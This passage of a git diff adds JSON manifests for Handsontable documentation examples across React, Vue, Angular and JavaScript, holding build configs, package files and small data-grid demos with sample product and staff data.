    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport ExcelJS from 'exceljs';\n\nregisterAllModules();\n\nconst hotData = [\n ['Laptop Pro 15\"', 'Electronics', 1299.99, 38, true ],\n ['Wireless Mouse', 'Accessories', 29.99, 214, true ],\n ['USB-C Hub 7-in-1', 'Accessories', 49.99, 87, true ],\n ['Monitor 27\" 4K', 'Electronics', 449.99, 12, false],\n ['Mech Keyboard', 'Accessories', 119.99, 65, true ],\n];\n\nconst ExampleComponent = () => (\n <>\n
    \n

    Right-click any cell to open the context menu.

    \n
    \n \n \n);\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/export-to-excel/react/example3.tsx","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example3","exampleTitle":"Context menu","docPermalink":"/export-to-excel","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__vue__example1.vue.json new file mode 100644 index 00000000..ebadc305 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessories And Menus ▸ Export to Excel · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\",\n \"exceljs\": \"4.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/export-to-excel/vue/example1.vue","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/export-to-excel","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__vue__example2.vue.json new file mode 100644 index 00000000..c16e3d73 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessories And Menus ▸ Export to Excel · Multi-sheet export · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\",\n \"exceljs\": \"4.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/export-to-excel/vue/example2.vue","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example2","exampleTitle":"Multi-sheet export","docPermalink":"/export-to-excel","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__vue__example3.vue.json new file mode 100644 index 00000000..54530ec8 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__vue__example3.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessories And Menus ▸ Export to Excel · Context menu · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\",\n \"exceljs\": \"4.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/export-to-excel/vue/example3.vue","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example3","exampleTitle":"Context menu","docPermalink":"/export-to-excel","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__undo-redo__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__undo-redo__angular__example1.ts.json new file mode 100644 index 00000000..22572f9e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__undo-redo__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Accessories And Menus ▸ Undo and redo · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example1',\n standalone: true,\n imports: [HotTableModule],\n template: `\n \n \n `,\n})\nexport class AppComponent {\n\n readonly hotData = [\n ['Ana García', 'Engineering', 'Senior Engineer', 95000, '2026-03-14'],\n ['James Okafor', 'Marketing', 'Product Manager', 88000, '2026-07-01'],\n ['Li Wei', 'Engineering', 'Frontend Dev', 82000, '2026-01-10'],\n ['Maria Santos', 'HR', 'HR Specialist', 71000, '2026-11-20'],\n ['David Kim', 'Engineering', 'Backend Dev', 85000, '2026-08-05'],\n ['Emma Wilson', 'Marketing', 'SEO Analyst', 68000, '2026-02-14'],\n ['Ahmed Hassan', 'Finance', 'Controller', 92000, '2026-06-30'],\n ['Sara Johansson', 'Engineering', 'QA Engineer', 78000, '2026-09-12'],\n ['Carlos Mendez', 'Sales', 'Account Manager', 74000, '2026-04-25'],\n ];\n\n readonly hotSettings: GridSettings = {\n rowHeaders: true,\n colHeaders: true,\n stretchH: 'all',\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/undo-redo/angular/example1.ts","breadcrumb":["Accessories And Menus","Undo and redo"],"guide":"guides/accessories-and-menus/undo-redo/undo-redo.md","guideTitle":"Undo and redo","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/undo-redo","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__undo-redo__javascript__example.js.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__undo-redo__javascript__example.js.json new file mode 100644 index 00000000..53857fc3 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__undo-redo__javascript__example.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Accessories And Menus ▸ Undo and redo · Basic demo · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example');\nnew Handsontable(container, {\n data: [\n ['Ana García', 'Engineering', 'Senior Engineer', 95000, '2026-03-14'],\n ['James Okafor', 'Marketing', 'Product Manager', 88000, '2026-07-01'],\n ['Li Wei', 'Engineering', 'Frontend Dev', 82000, '2026-01-10'],\n ['Maria Santos', 'HR', 'HR Specialist', 71000, '2026-11-20'],\n ['David Kim', 'Engineering', 'Backend Dev', 85000, '2026-08-05'],\n ['Emma Wilson', 'Marketing', 'SEO Analyst', 68000, '2026-02-14'],\n ['Ahmed Hassan', 'Finance', 'Controller', 92000, '2026-06-30'],\n ['Sara Johansson', 'Engineering', 'QA Engineer', 78000, '2026-09-12'],\n ['Carlos Mendez', 'Sales', 'Account Manager', 74000, '2026-04-25'],\n ],\n rowHeaders: true,\n colHeaders: true,\n stretchH: 'all',\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/undo-redo/javascript/example.js","breadcrumb":["Accessories And Menus","Undo and redo"],"guide":"guides/accessories-and-menus/undo-redo/undo-redo.md","guideTitle":"Undo and redo","exampleId":"example","exampleTitle":"Basic demo","docPermalink":"/undo-redo","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__undo-redo__javascript__example.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__undo-redo__javascript__example.ts.json new file mode 100644 index 00000000..a3213e98 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__undo-redo__javascript__example.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Accessories And Menus ▸ Undo and redo · Basic demo · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example')!;\n\nnew Handsontable(container, {\n data: [\n ['Ana García', 'Engineering', 'Senior Engineer', 95000, '2026-03-14'],\n ['James Okafor', 'Marketing', 'Product Manager', 88000, '2026-07-01'],\n ['Li Wei', 'Engineering', 'Frontend Dev', 82000, '2026-01-10'],\n ['Maria Santos', 'HR', 'HR Specialist', 71000, '2026-11-20'],\n ['David Kim', 'Engineering', 'Backend Dev', 85000, '2026-08-05'],\n ['Emma Wilson', 'Marketing', 'SEO Analyst', 68000, '2026-02-14'],\n ['Ahmed Hassan', 'Finance', 'Controller', 92000, '2026-06-30'],\n ['Sara Johansson', 'Engineering', 'QA Engineer', 78000, '2026-09-12'],\n ['Carlos Mendez', 'Sales', 'Account Manager', 74000, '2026-04-25'],\n ],\n rowHeaders: true,\n colHeaders: true,\n stretchH: 'all',\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/undo-redo/javascript/example.ts","breadcrumb":["Accessories And Menus","Undo and redo"],"guide":"guides/accessories-and-menus/undo-redo/undo-redo.md","guideTitle":"Undo and redo","exampleId":"example","exampleTitle":"Basic demo","docPermalink":"/undo-redo","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__undo-redo__react__example.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__undo-redo__react__example.tsx.json new file mode 100644 index 00000000..a486bfbd --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__undo-redo__react__example.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Accessories And Menus ▸ Undo and redo · Basic demo · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/undo-redo/react/example.tsx","breadcrumb":["Accessories And Menus","Undo and redo"],"guide":"guides/accessories-and-menus/undo-redo/undo-redo.md","guideTitle":"Undo and redo","exampleId":"example","exampleTitle":"Basic demo","docPermalink":"/undo-redo","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__undo-redo__vue__example.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__undo-redo__vue__example.vue.json new file mode 100644 index 00000000..4c3b41d5 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__undo-redo__vue__example.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessories And Menus ▸ Undo and redo · Basic demo · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/undo-redo/vue/example.vue","breadcrumb":["Accessories And Menus","Undo and redo"],"guide":"guides/accessories-and-menus/undo-redo/undo-redo.md","guideTitle":"Undo and redo","exampleId":"example","exampleTitle":"Basic demo","docPermalink":"/undo-redo","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__use-icons-in-cells__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__use-icons-in-cells__angular__example1.ts.json new file mode 100644 index 00000000..e2f770f5 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__use-icons-in-cells__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Accessories And Menus ▸ How to use icons in cells · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport Handsontable from 'handsontable/base';\nimport type { BaseRenderer } from 'handsontable/renderers';\n\ninterface Task {\n task: string;\n assignee: string;\n dueDate: string;\n flagged: boolean;\n}\n\n// Icons from the `@handsontable/spreadsheet-icons` package - see the \"Icon\n// pack\" reference page for the full set.\n// `currentColor` picks up the button's text color, so the icon stays visible\n// in both light and dark themes instead of a hardcoded color disappearing\n// against the background.\nconst FLAG_FULL_ICON =\n '';\nconst FLAG_EMPTY_ICON =\n '';\n\n// The icon itself has no accessible name, so the button carries an\n// `aria-label` that describes what clicking it does.\nconst flagRenderer: BaseRenderer = (\n instance: Handsontable,\n td: HTMLTableCellElement,\n row: number,\n _col: number,\n _prop: string | number,\n value: Handsontable.CellValue\n) => {\n const taskName = String(instance.getDataAtCell(row, 0));\n const button = document.createElement('button');\n\n button.type = 'button';\n button.style.cssText = 'background: none; border: none; cursor: pointer; padding: 0.25rem;';\n button.innerHTML = value ? FLAG_FULL_ICON : FLAG_EMPTY_ICON;\n button.setAttribute(\n 'aria-label',\n value ? `Remove the follow-up flag from ${taskName}` : `Flag ${taskName} for follow-up`\n );\n button.addEventListener('click', () => {\n 